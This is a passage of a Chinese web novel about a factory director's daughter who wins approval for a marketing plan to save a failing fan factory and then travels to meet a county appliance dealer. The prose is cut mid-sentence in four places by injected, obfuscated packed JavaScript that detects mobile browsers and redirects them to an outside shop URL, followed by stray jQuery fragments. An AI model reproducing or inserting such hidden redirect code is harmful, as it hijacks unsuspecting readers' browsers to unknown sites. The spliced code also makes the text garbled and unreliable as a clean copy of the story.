工会主席跟厂长要来计划书,看到最后,问了一句,“你这写的售后服务升级,例如每周末厂里派维修员去经销点给大家修电扇,这得算加班费吧?”
许晚柠发现,只要能给工人带来利益的项目,工会主席都特别积极,她眉眼带笑刚想回答。
刘科长坐在一边,拿过计划书仔细看了看发问,“晚柠,按照你写的售后服务,一年质保,三年免费维修,终身保修,要想搞起来,每个月支出可不少。”
刚才工会主席提到的,维修师傅每周末去县里维修点服务,要算加班费,再加上往返路费、饭补等等,以及免费维修损耗的配件,细细算下来,不是一笔小数目。
目前他们厂的利润已经很薄了,再升级售后服务,额外增加人工成本、配件成本,会加重财务负担。
刘科长蹙眉,“这样有必要吗?”
许晚柠语气坚决,“当然有必要,您知道咱们厂的风扇,为什么最近销量不好?”
不是在说售后服务么,怎么扯到销量上去了?但不妨碍他点头。
身为科室领导,怎么能不知道产品销量下降的原因呢,他必须知道!
她没有卖关子,继续说,“因为有竞品,其中以省城电器厂生产的荷花牌鸿运扇,和民营企业生产的长江牌落地扇为主。”
在场的除了李科长,其他人都露出恍然之色,他们知道有竞品,但没她知道的这么细。
许晚柠见状,说的更细致些,“众所周知,民营企业用料降级、成本低,价格便宜。光看价格,咱们不占优势。”
“但是咱们厂产品质量好,知名度高,如何让更在意价格的顾客选择我们,这就需要我们增加品牌附加价值,比如更完善的售后服务。”
刘科长懂了,“那荷花牌呢,它可比咱们产品贵多了,怎么也卖不过它?”
许晚柠接过话,“您说的没错,明明咱们厂最新款的鸿运扇比荷花牌便宜15块钱,功能、外观、质量,半点不差,可为什么销量却比荷花牌低了百分之三十。”
“我们经过调查发现,供销大厦、百货大楼主推荷花牌风扇,哪怕顾客想要咱们厂的风扇,销售员也会想办法诱导他们买荷花牌。”
“她说的是真的吗?”郑副厂长看向李科长,眼神问询。
销售这一块一直都是李科长负责,供销大厦和百货大楼是销售风扇的主力,如果这两家都不推他们厂的风扇,对他们来说,可不是个好消息。
李科长抹了把脸,“这事我知道,我在饭局上跟百货大楼经理套过话,荷花牌除了给经销商每台百分之五的返点,另外给售货员百分之三,所以最近他们力推。”
直接给售货员返点?
梁科长想了想,“咱们不能给吗?”
李科长嗤笑一声,“供销大厦和百货大楼主要卖的是新款,新款咱们本来定价就低,目前咱们给他们的返点是百分之五,如果另给销售员返点,最少也要跟荷花牌持平吧?”
说到这,他看向刘科长,“咱们厂目前毛利率在25%左右,净利率5%还是6%?这种情况下,再额外给售货员最少百分之三的返点,咱们厂还挣钱吗?”
刘科长心算了一下,挣钱还是挣的,只不过利润更薄了。
这时李科长回过味来,看向许晚柠,“你是想通过提升售后服务,增加卖点。”
许晚柠点头,“没错,目前咱们厂给不起更多返点,那么只能从其他方面弥补。比如提升售后服务,增加核心竞争力。”
有点意思,李科长琢磨了一下,嘴硬道,“你这都处于理论阶段,真正实践起来麻烦的很。另外,没有足够的利润,哪个经销商肯当天结货款参加你这个活动?”
许晚柠毫不犹豫地说,“那就找能结的来!活动资金大部分由咱们厂承担,等活动搞起来,既能帮经销商清库存,又能盘活现金流,对于他们来说是送上门的买卖,我想不出他们用什么理由拒绝。”
李科长被她几句话怼回来,觉得没面子,扭头不吭声了。
许国盛见大家暂时消停了,抬手看了眼时间,十点半,会开了快一个小时,估摸着讨论得差不多了。
他轻咳一声,缓缓开口,“大家都收到消息了吧,隔壁啤酒厂昨天下午破产清算被卖掉了。”
他观察着众人神色,敲了敲桌子,“如果我们继续不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470277|201440||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
知变通、得过且过,焉知啤酒厂不是我们的前车之鉴?”
会议室里鸦雀无声。
许国盛沉默片刻,开口道,“你们还有没有其他意见?都表个态。”
闻言,刘科长第一个响应,“只要能收到货款,按时给大家发工资,不让工人们追着我屁股后面跑,我没意见。”
工会主席老神在在,“计划书对工人们有利,我没有反对的理由。”
梁科长正了正神色,“只要工资到位,我没意见,毕竟谁也不想跟个妇女主任似的,天天想法开导工人别闹事,对不对?”
郑副厂长没想到梁科长这个墙头草这次投了赞成票,四对二,他这一票扭转不了局势,索性顺势而为,“我没意见。”
李科长梗着脖子,“我还是不信有经销商能现款现结,我反对!”
许国盛肃容,“好,大家都发言完毕,现举手表决。”
他第一个举手,随后刘科长,工会主席,郑副厂长,梁科长一一举手。
许国盛瞅了李科长一眼,当场宣布,“本次会议主题,“厂家直惠,清仓大酬宾”活动计划,厂务会通过。我现在去请高书记过来,十分钟后,咱们直接开常务会继续讨论。”
许国盛起身,朝女儿招手,两人一起出去。
走廊里,许晚柠悄声问道,“爸,一会儿你们还要开会啊?”她还以为完事了呢。
许国盛目不斜视,轻声跟女儿解释,“当然,你以为通过一项营销计划很简单吗?厂里需要先召开厂务会,会议通过之后再开常务会,两项会议必须全部通过。”
“这么麻烦?”
许晚柠小声嘀咕,要不是她爸力挺她,她的计划书连第一个会议都通不过,还谈什么解救厂子,做梦去吧。
许国盛见女儿蹙眉,心情难得有些轻快,“你以为这就结束了?厂里通过,我们还要写材料,向局里申请,领导们开会讨论给出意见。”
“啊?还要送到局里审批,那完了。”许晚柠没想到一个营销计划,想要实施起来这么难?
她可没有当局长的父亲给她兜底啊?
“这也是我一开始不看好的原因。”
许国盛叹了口气,见女儿一脸沮丧,以为她受到打击,像小时候那样,摸摸她的头,“这就丧气了?”
“还好,”许晚柠摸摸下巴,也许她该想想PlanB,做最坏打算。
见女儿神情恢复正常,他拍拍她的肩,“这儿暂时没你的事了,你先回家歇着吧,这一两天肯定出不了结果。”
许晚柠惊讶,“爸,我不用参加常务会吗?”
他轻拍女儿后脑勺,“不用,再让你参加,你不得把人都给我得罪了?”
“嘶!爸,您轻点。”
许晚柠摸摸后脑勺,目送父亲去了党委书记办公室,没一会儿许国盛和高书记一起走了出来,两人直奔会议室。
“困难重重啊!”简直太难了!
这时旁边办公室门打开,张嘉林走出来,看到许晚柠一脸惊喜,“晚柠,你怎么在这?”
许晚柠神情自然,“我来厂里找我爸有点事。”
张嘉林没错过对方脸上一闪而逝的疲惫,目光关切,“是遇到什么难事了吗?要不跟我说说,也许我可以帮忙。”
许晚柠刚要拒绝,随即想到张嘉林虽然不用出去跑业务,但他在销售部门,没准真能帮上忙。
她向张嘉林招招手,小声道,“有没有能说话的地方?”
“跟我来。”
12. 嘉林,帮个忙
“这地方确实够安静。”
许晚柠在杂物间转了一圈,看向他,“事先声明啊,我刚把你们李科长给得罪了,你要帮我,可是冒很大风险的,你先考虑清楚再决定帮不帮。”
张嘉林刚想说,我不怕,话到嘴边,他又咽了下去。不知为何,他总觉得这句话说出来显得他有点傻。
不过更令他好奇的是,“你怎么得罪我们科长的?”
许晚柠只好把事情的来龙去脉简单跟他说了说,反正不论计划能否通过,他早晚也会知道。
张嘉林眼睛微亮,一脸崇拜地看向她,“晚柠,你怎么想到的,这计划简直让我不知道说什么好!真的很棒!”
“我也觉得很好。”她可是删删减减改了很久,才出的终稿,她容易吗?
张嘉林眉眼一弯,“我能帮你做什么?”
许晚柠看他这副单纯样子,有些不忍心坑他,再次提醒,“你不怕得罪李科长啊?那可是你直系领导。”
在职场,他一个刚入职不到一年的新人,跟科长对着干,等着被穿小鞋吧。
“没事,反正昨天我跟你出去一天,他已经知道了,也不在乎多这么一桩,而且他也不敢动我。”最后他含糊了一句。
许晚柠挑眉,呦呵,怪不得这小子不怕呢,原来是有后台啊。她现在特别感谢她爸,还是许厂长有远见,请他帮忙找个人陪她去趟库房,直接给她找了个关系户。
既然如此,她就不客气了,“咱们厂除了像供销社、百货大楼这样不结货款,打欠条的经销商,应该也有愿意结账的吧?”
张嘉林表情略微有些不自然,轻咳一声,“当然有啊,你问这个干什么?”
还没等许晚柠解释,他反应过来,“哦,我懂了,你想联系这些经销商参加活动,对不对?”
“没错!”许晚柠颔首,给予肯定。
张嘉林见她一脸期待,忍不住提醒,“晚柠,计划书不是还没通过吗?你不担心现在联系,最后做无用功吗?”
许晚柠实话实说,“一开始有点担心,之前我不知道一份营销计划书,而且是对厂里这么有利的计划,想要在国企单位通过,会这么难。”
不过没关系,她已经想好了B计划。
许晚柠看向他,直接说出自己的要求,“我需要一个知根知底,愿意现货现结,最好跟咱们厂有交情的县级经销商来托底。”
在她得罪李科长的情况下,如果没人帮忙,只靠自己,想要顺利实行计划,会增加许多不必要的麻烦,浪费很多时间。
当然,她也可以向厂长父亲求助,只是她是计划的制定者,遇到点小挫折就找家长,也太无能了。
听完之后,张嘉林瞬间想到了一个人,他有些犹豫,在看到对方期待的目光时,最终还是说了出来,“晚柠,我知道一个经销商应该符合你的要求,只不过,你要是直接联系他,科长肯定知道是我在帮你了。”
见他吞吞吐吐的,许晚柠猜测,“怎么,那人是你亲戚?”
张嘉林点头,“我可以给你联系方式和地址,但想要说服他,还要靠你自己。”
“行,没问题。”她本来就没打算让张嘉林帮到底,只要帮她牵个线就成。
“对了,若是科长因此为难我,你可要替我撑腰啊?”他半真半假的装可怜。
许晚柠一眼看穿,“行,他要是敢欺负你,你告诉我,等他下班,我套他麻袋,狠狠揍他一顿。”
“哈哈哈……”
张嘉林被她逗得哈哈大笑,眼泪都快出来了,“你可真行,亏你想的出来,你还真套他麻袋啊。”
“你要是因为帮我受了委屈,我揍他一顿替你出气,怎么了?”许晚柠表情认真,挥手扬了扬拳头。
张嘉林心中感动,“行,那到时候你记得叫我,我负责套麻袋,你负责揍他。”
“好啊!”
-
张嘉林给她写了他亲戚的地址和电话,仔细交代几句,先一步下楼回办公室。
为了避嫌,许晚柠又在杂物间待了一会儿,这才出来。
她先去二楼厂长办公室看了看,她爸不在,估计还在开会扯皮。
她抬手看了眼时间,已经十一点多了,算了不等了,先去食堂吃饭,吃完再回来看一眼。
她刚要离开,发现走廊尽头会议室的门开了,厂里领导挨个走出来,互相寒暄几句,四散而去。
她爸和高书记正往她这个方向来。
许晚柠站在原地等了一会儿,见许国盛向她招手,她快步走过去,礼貌打招呼,“爸,高叔叔。”
高书记像个温厚和善的长辈,“晚柠啊,你写的计划书我看了,很不错。更难得的是,你写它的目的是为了帮咱们厂解决积压库存,增加现金流,保障单位正常运转。”
“年轻人有想法、有冲劲,这是好事。高叔叔给你一句忠告,不论结果如何,不要太计较得失,能迈出这一步,你已经很优秀了。”
这是不太看好?
许晚柠眸光一闪,脸上瞬间露出得体笑容,“我知道了,谢谢高叔叔,不论结果如何,我都会保持初心。”
高书记夸赞,“老许,你有一个好女儿啊。”
许国盛谦虚摆手,“好什么好,给咱们丢这么一个大难题,没骂她一顿都是轻的。”
“骂?我看你舍不得。”高书记一眼看透许国盛女儿奴的本质。
“我在厂里得注意点形象,等晚上回家的,看我怎么说她。”
许国盛一边跟高书记寒暄,一边冲女儿轻轻摆了摆手。
许晚柠意会,靠边一站,等他们走远,轻呼一口气下楼。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470278|201440||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>-
华荣厂食堂。
许晚柠站在食堂门口,前面正在排队打饭。望着长长的队伍,她两眼一黑,瞬间有种扭头就走的冲动。而且,她发现一个很严重的问题,她没带饭盒,压根打不了饭。
算了,她还是出去吃吧。
她转身正准备离开,忽然听到前面传来一阵争吵声。
一个二十来岁的小伙子透过玻璃窗看到今日菜品,语气抱怨,“师傅,怎么今天全是素菜,土豆炖豆角,凉拌黄瓜,白菜炖豆腐,没有荤菜吗?”
“没有,你吃不吃?不吃,下一个。”师傅不惯着他,饭勺敲了敲,无声催促。
小伙子不干了,“现在食堂伙食怎么越来越差,以前天天有荤菜,现在三天两头见不着荤腥,我们吃不饱,怎么干活?”
哪来的愣头青?
师傅心中腹诽,想到领导交代,他耐着性子解释,“厂里现在困难,没钱买肉,有的吃就不错了,嫌食堂伙食不好,你可以出去吃。”
小伙子站在那不动,后面的人不乐意了,“你到底打不打饭,不打饭赶紧走,别占地儿。”
吃素怎么了,至少不花钱,没听说别的厂都要花钱才能吃食堂吗?虽然花的不多,但能免费吃,谁愿意花钱啊?
“我打!”
小伙子努力挤出一个讨好的笑容,“师傅,菜多给我来点,两个馒头。”
“白面馒头限量一人一个,有窝头要不要?”
“要!”
目睹这一场小风波,许晚柠对厂里的财务情况有了更深刻的了解,还真是处处都‘漏风’啊。
她心不在焉地离开食堂,向厂外走去。
这时,张嘉林拿着饭盒,和几个同事一起说说笑笑迎面而来,见到她,一脸惊喜,“晚……咳,许同志,你怎么在这?”
听到有人叫她,许晚柠猛地抬起头,看到是他,停下脚步寒暄,“我来食堂吃饭,没带饭盒,正打算出去吃。”
此时此刻,张嘉林特想说一句,他也没吃,可以陪她一起出去吃。可有同事在场,他必须克制,若两人走得太近,招来一些风言风语,对她名声不好。
他神情自然,笑着说,“厂门口往东大概一百多米,有好几家小饭馆,面食、家常菜做得都不错,你可以去那边看看。”
“好,谢谢,再见。”许晚柠冲他点点头,大步离开。
待她走后,一位男同事单手搂住张嘉林肩膀,语气调侃,“大林子,跟厂长闺女出去一天,都混这么熟了?”
张嘉林甩开他的手,笑骂,“滚一边去,正常打招呼而已,你们别瞎想啊!”
“不让我们瞎想也行,老实交代,你们昨天出去都干了点啥?”
“无可奉告!”
“你这小子,反了天了,兄弟们,给我削他!”
13. 嘿!又见面了
许晚柠按照张嘉林给她指的方向,走出厂子没多远,便看到几家相邻的小饭馆。
她随便进了一家,找了个空位坐下,环顾四周,这家店看着虽小,收拾得却很干净。十几平米的空间挤了七八张桌子,除了她这张空着,其余都坐满了人。
大部分人穿着工服,应该是附近厂子里的职工。她还看到好几个穿着华荣厂工服的工人,正坐着大口吃面。
她刚坐下没多久,老板上前招呼,“闺女,吃点啥?”
许晚柠看了眼桌上菜单,“一碗打卤面,谢谢。”
“好嘞,现在正是饭点,稍等几分钟啊。”
“好。”
饭馆角落摆着一台机身泛黄的落地扇,正左右摇摆呼呼地转着,送来一缕缕清凉的微风,抚平她一路走来的燥意。
没一会儿,一大碗打卤面端了上来,“闺女,你的面。”
“谢谢,等一下,老板我向您打听个事。”
“你问吧。”
“附近哪有打电话的地方?”这里对她来说,既熟悉又有点陌生,她一时半会儿实在想不起来。
老板抬手一指,“出门左拐,往前走大概五十米,有个小卖部,那能打电话。”
“好,谢谢啊。”
“客气啥。”
得到想要的信息,许晚柠掰开一次性筷子,开始吃面。西红柿鸡蛋作卤裹上筋道的手擀面,她吃得头也不抬。
一大碗打卤面下肚,她成功吃撑了,抬手看了眼时间,十二点半,先去小卖部打个电话,看看张嘉林力荐的这位亲戚在不在。
“老板,结账!”
“来了!”
一碗面花了一块二,比市中心便宜三毛钱,下次有机会试试这家的炸酱面。
许晚柠一出小饭馆,一股热浪迎面而来,令她有种退回去的冲动。只犹豫了一秒,她步伐坚定地进入太阳炙烤之下。
小卖部并不远,她走了大概一两分钟就到了。
“老板,我打个电话。”
“本地两毛,长途一块。”老板穿着汗衫,吹着风扇,悠哉悠哉地报价。
“我打本地的。”许晚柠从包里取出笔记本,翻到号码那一页递给对方。
老板瞄了一眼,熟练拨号,通了之后话筒递给她。
“喂,您好,请问是四海家电吗?我找钱四海钱老板。”
此时,徐县四海家电批发门店内,钱四海坐在办公桌后算账,他眉头紧皱,时不时的叹气。
本来以为夏天一来,电风扇会热销,他进了不少货放在库房,没想到以往热销的款,今年反而卖不动了,再这样下去,这批货迟早砸手里。
细细一算,今年白干。
就在这时,他接到许晚柠电话,“我就是钱四海。”
电话那头传来一道温婉的女声,口齿伶俐地说明来意,“钱老板您好,我是张嘉林的朋友许晚柠,知道您在做家电批发,想和您谈一笔生意,不知您有没有兴趣?”
“哦?什么生意?”
钱四海身体瞬间坐直,来了兴趣,没想到嘉林那小子居然还会给他介绍客户了,没白疼他。
许晚柠眼底都是笑意,“电话里说不方便,我们见面谈吧。我跟您确认一下地址,徐县批发市场108号门脸,对吗?”
“对对对,是这里没错,你在公交站下车,往北走大概五百米就能看到批发市场的牌子,从东门进去右手边第三家就是。”
“好,我在市区,过去大概需要一个多小时。”
“没问题,下午我都在店里。”
许晚柠跟钱四海约好时间,挂了电话。
小卖部老板看了眼屏幕显示,三分四十二秒,“八毛钱。”
许晚柠掏钱的时候,老板调侃,“闺女在哪上班呢?这么小都会谈生意了?”
许晚柠递钱过去,笑容腼腆,“帮厂里跑业务的。”
“哦,我知道了,销售员对不对。”
“差不多,”许晚柠含糊过去。
迎着对方八卦的眼神,她赶紧转移话题,“老板,去徐县的车一般多久一趟。”
“十几二十分钟吧,这个没准。”
“这样啊,谢谢您。”许晚柠离开小卖部,去公交站牌下面等车。
华荣厂就在公交站牌斜对面,再往北五百多米,是保城市最大的啤酒厂。
她在会议上听父亲提及,啤酒厂昨天已经破产清算,被卖掉了。
如果不想华荣厂成为下一个,她必须更加努力!
-
下午一点,许晚柠站在公交站牌后面躲太阳,一会儿冒头看一眼。
这都过去十几分钟了,车怎么还没来?
不远处,一辆私家车从北边开过来,许晚柠眯着眼睛看了一眼,有点熟悉,好像在哪见过。
没等她想起来,车已经开了过去。
这一刻,她无比想念自己的豪车,她现在要是有车,直接开车去徐县,哪用等车这么麻烦。
私家车上,谭斌坐在后排,打开窗户吹风,还不忘调侃一句,“云洲,屁股烫不烫?”
裴云洲没好气地说他,“回去赶紧考驾照。”
“我不,夏天练车多热啊,等天凉快了再说。”谭斌心安理得地享受领导级别待遇,他可是有‘司机’的人呢!
忽然他看到公交站牌后面冒出个小脑袋,差点吓一跳,仔细一看,那不是昨天那位呛口小辣椒吗?
“哎哎哎,停车。”谭斌急得不停地拍打驾驶座椅背,气得裴云洲想削他一顿。
“又怎么了?”裴云洲拿他没辙,在前面靠边停下。
“就咱们昨天见那女孩,我刚刚又看见她了,现在就在站牌后面藏着呢,赶紧掉头回去。”谭斌大力拍着椅背催促。
“回去干什么?你又不认识她。”裴云洲无奈。
“一回生二回熟,这都见三回了,这不是缘分是什么?再说了,我还不知道她叫什么呢?”谭斌振振有词,这次他非得知道对方名字不可。
以往,裴云洲绝对不会理会好友这样的无理要求,今天不知道为什么,他鬼使神差地掉头,停在公交站牌下。
许晚柠听到动静,再次冒头,看到一张熟悉的脸正冲她笑,“你好,又见面了。”
原来是他啊,怪不得她觉得车有点眼熟,昨天刚见过,能不熟吗?
“有事?”许晚柠半边身子躲在阴凉里,表情不耐。
谭斌一噎,随即像是没事人一样,熟络开
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470279|201440||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
口,“你不是华荣厂的吗,这个时间不在厂里上班,打算去哪?顺路的话,我们捎你一段。”
这人有点自来熟,看着像是没坏心的,不过再如何,她也不会上一个陌生人的车,“应该不顺路,我去北边办事。”
她刚拒绝,随即反应过来,他怎么知道她是华荣厂的?
许晚柠眼神犀利地看向他,“那天供销大厦三楼,你也在?”
虽是疑问,语气却笃定。
反应好快,坐在驾驶位充当背景板的裴云洲不知为何,心情有些愉悦,手指无意识地敲打方向盘。
谭斌毫无所觉,“是啊,当时我和朋友碰巧在附近,对了,你去北边干什么啊?”
我跟你很熟么?打听这么清楚?许晚柠眼神不耐,“你还有事么?”
“没,没了。”好凶啊。
谭斌颇有些丧气,整个人都蔫了,“我还不知道你名字呢。”
许晚柠看着他,不知为何觉得有些可怜,一个名字而已,告诉他也没什么,“许晚柠。”
“什么?”谭斌眼睛微亮,她刚刚是说了她的名字么,她叫许婉宁?
是温婉的婉,宁静的宁吗?名字挺好听,就是跟她本人不太搭啊。
“我叫谭,”谭斌刚想报自己名字,话说到一半,只见许晚柠噌地从站牌后面跑出来,来到路边疯狂招手。
谭斌目瞪口呆!
对方在他心目中一直高高在上,宛若清冷女神的形象。女神突然变得接地气,着实令人匪夷所思。
这时,一辆去往徐县的中巴车晃晃悠悠地从南边开了过来。
没一会儿,车停下,她快步上车。
中巴车缓慢向北驶去。
“原来真的是去北边。”
谭斌喃喃自语,又有些激动,“好在这次终于知道她名字了。”
裴云洲目光落在中巴车后窗玻璃上,上面写着“保城—徐县”,她去徐县干什么?
“云洲,你看什么呢?快开车,我都快饿死了。”谭斌瘫在后座上,轻声抱怨。
“还真把我当司机了?”裴云洲随手拿了个东西,往后一扔。
谭斌连忙接住,连声讨饶,“我错了,裴厂长,您大人有大量,别跟我一般见识。”
裴云洲启动车子,在前方掉头,边开车边说,“别叫我厂长,我说过,我不参与实际经营和管理,只负责经营方向把控。”
“懂,那你在厂里总得担个职务吧?”花一百多万买下厂子,都交给他,他不小心玩废了怎么办?
“这个回头再说。”裴云洲往市中心开,“我在保城不会待太久,假期结束还要回京市,开学之后,我会很忙。”
“知道了,裴教授!”
裴云洲更正,“是讲师,不是教授。”
“早晚的事。”
裴云洲懒得跟他费口舌,“遇到解决不了的事可以给我打电话。”保城离京市很近,开车大概要四个多小时。
谭斌有气无力地应了一声,“知道了。”
好友在的时候,他可以躺平,啥也不干,他一走,什么事都压在他身上,想想都让人绝望。
算了,想那么多干嘛,趁他还在,事情都丢给他,他先轻松一阵子再说。
14. 我来想办法!
去往徐县的中巴车上座无缺席,过道里挤满了乘客。
许晚柠一上来,发现压根没有她落脚的地方。
“到哪下?”
“汽车站。”
“一块五。”售票员在票本上撕拉一声,撕下一张票儿递给她。
许晚柠赶紧拿钱。
售票员收好钱,眼神催促,“别傻站着,赶紧找个地方坐下。”
她也想找,关键是没地儿啊。
这时,前排座位上有个老太太,向她招手,“闺女你来,坐这。”
许晚柠顺着对方指的位置看去,那是发动机盖,上面堆满了各种行李。
老太太从上面取下一个箱子,放到脚边,“坐这吧,到徐县还远着呢。”
“好,谢谢大娘。”许晚柠抬腿迈过去,扶着椅背小心翼翼地坐下。
她双腿并拢,军绿色挎包放在身前,拘谨又乖巧。
头发半白的老太太眉眼带笑,“去徐县走亲戚?”
“对,去叔叔家。”朋友的亲戚,叫叔叔应该没差。
“闺女多大了?上班没有?”
“20了,还没正式工作。”
老太太比较热情,许晚柠招架不住,索性反问,“大娘去徐县也是走亲戚?”
“不走亲戚,我回家,我闺女嫁到市里,前两天刚生了孩子,我过来看看。”老太太想起刚出生的外孙,心情好得不得了。
“七斤八两是个男娃,”老太太眉飞色舞,“听我闺女说,孩子刚出生眼睛就睁开了,脸蛋胖乎乎的,小腿一蹬可有劲儿。”
许晚柠不知道该怎么接,坐在那静静的听。
唠叨几句,老太太盯着她看了半晌,忽然问,“闺女有对象了吗?”
不是在说她外孙么,怎么突然拐到她身上来了?
许晚柠尴尬一笑,“还没,我还小,不着急找对象。”
老太太一拍大腿,“话可不能这么说,有合适的,还是要趁早下手,晚点那都是别人挑剩下的。”
许晚柠能怎么办,只好含糊应一声。
老太太欲言又止,本来看女孩身材高挑,长得也好看,想给她介绍个对象,不过看样子小姑娘大概率是市里的,瞧着穿得也不差,男方家庭条件差了点,估计人父母不愿意,还是算了吧。
老太太终于消停了,她心里暗暗松了口气。
午后,中巴车行驶在国道上,许晚柠被车内混杂的怪味熏得昏昏欲睡。
不知过了多久,汽车下了国道,来到县城外环路上,道路崎岖不平,车身随之晃悠起来。
许晚柠睡得迷迷糊糊的,忽然司机一个急刹,她身体前倾,瞬间惊醒。
要不是她一直抓着旁边的座椅扶手,非摔出去不可。
老太太看着她,目光担忧,“闺女没事吧?”
许晚柠摇头,“没事。”
老太太提醒,“你刚才睡得挺好,我还说一会儿叫你呢,汽车站马上到了。”
“我知道了,谢谢大娘。”许晚柠稳定身形,目视前方。
几分钟后,中巴车抵达汽车站,乘客陆续下车。
许晚柠见人多,等他们下得差不多了,这才开始动。
老太太行李不算多,有个纸箱子,还有一个布兜,装得鼓鼓囊囊的。
许晚柠念及对方之前的照顾,投桃报李,主动开口,“大娘,我帮您拿下去吧。”
“好,谢谢你啊闺女。”老太太也没客气。
许晚柠抱起箱子下车,放在地上,伸手去扶老太太。
“我没事,别看我六十多了,有力气着呢。”
等老太太下了车,许晚柠抱着箱子,和她一起往外走,“大娘,您离家远不远?”这箱子里不知道装的什么,还挺沉的。
“不算远,我闺女应该给家里打电话了,有人来接。”
话音刚落,一个三十来岁的妇女站在不远处招手,随后大步走了过来。
老太太扭头跟许晚柠说,“我儿媳妇来了,闺女你把东西放下吧,麻烦你了啊。”
“大娘您客气啥,要不是您帮忙,我估计得站一路。”
许晚柠放下箱子,冲大娘道别。
老太太赶紧招呼,“哎,闺女,别急着走啊,我这箱子里有不少水果,给你带上几个路上吃。”
“不用了,留着您和家人吃吧,大娘再见。”许晚柠摆摆手,笑着跑远了。
“这孩子。”老太太嘴上埋怨,眼里笑意盈盈。
这时中年妇女终于赶到,盯着许晚柠背影看了好几眼,“妈,那人谁啊,您认识?”
“车上认识的,挺好一小姑娘。”老太太笑呵呵解释,“你怎么来的?”
“雇了辆三蹦子。”妇女双手抱起箱子,蹙眉,“妈,您这都装的什么?”怎么这么沉。
“佳慧婆婆让人装的,说是一些高档水果什么的,非要我带上。”
“这也太重了,早知道让志刚安排车去接您。”
老太太语气严肃,“志刚是单位领导,怎么能公车私用?再说佳慧婆婆周到,特意安排人送我到车上,又给你们打了电话来接。我这一路顺当,没遭罪。”
妇女见婆婆面色不愉,这才不说了。
两人来到三蹦子前,她先放好箱子,随后扶婆婆上车。
老太太坐在车上,心里叹了口气。当初志刚非要娶她,她本来不大愿意,觉得她初中毕业,学历低了点,碍于儿子实在喜欢,这才同意了。
如今儿媳妇好歹是个供销社小领导,怎么嘴上没个把门呢?安排公车接家人是能随便放在嘴上说的吗?
知道她是好心,可单位的车哪能随便安排,她若嘴上不牢,早晚捅娄子。
不行,晚上等儿子回来,她得提醒提醒他,让他管好自己媳妇。志刚能走到今天不容易,她绝不允许家里人拖后腿!
-
许晚柠离开汽车站,顶着大太阳,往北走了大概五分钟,终于看到批发市场的牌子。
她从东门进去,环顾左右,最后来到四海家电批发店门口。
屋里有人,她抬手敲了敲玻璃门,“钱老板在吗?”
钱四海正坐在柜台后面打盹,听到有人喊他,立刻醒了,抬眼瞧见站在门口的女孩,他有些不确定,“我是钱四海,你是?”
许晚柠笑着走进来,自我介绍,“我是许晚柠,一个多小时前跟您通过电话。”
钱四海笑呵呵的,“嘉林朋友对吧,快坐。”
等他招呼许晚柠坐下,心里还在犯嘀咕。接电话的时候,他听出来对方是个女的,跟嘉林认识,没准和外甥差不多大。
可他没想到对方这么年轻,还说要跟他谈生意,靠谱吗?
不过对方既然跟外甥认识,他怎么也得给三分薄面,遂热情寒暄,问她一路走过来累不累,地方好不好找之类的。
“不累,挺好找的。”
钱四海心细,见许晚柠脸蛋通红,额头上有细密的汗珠,忙道,“闺女,你先坐这吹会风扇,叔叔出去一下,马上回来。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470280|201440||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“好。”一路走过来,她有点热,正好坐下歇歇,顺便想想一会儿该怎么跟他开口。
钱四海出去没两分钟就回来了,手里拿着一瓶汽水,当着她的面打开,往里面放了一根吸管。
“闺女,一路过来渴了吧,叔叔请你喝汽水。”
看着递过来的橘子汽水,许晚柠心中感动,连忙站起来接过,“谢谢钱叔,麻烦您特意跑一趟。”
钱四海摆手,“你跟嘉林是朋友,就是我的晚辈,长辈照顾晚辈不是应该的?”
许晚柠暗叹,钱四海不愧是做生意的,说话敞亮,人也热情。
汽水是刚从冰柜里拿出来的,有些冰,她小喝几口解渴。
钱四海坐在对面,不动声色的套话,“闺女多大了,跟我们嘉林怎么认识的?”
许晚柠放下汽水,半真半假地回答,“钱叔,我是省城大学大三学生,这不放暑假了吗,昨天我去厂里找我爸,想在厂里逛逛,我爸觉得嘉林哥专业,所以让他带我看了看。”
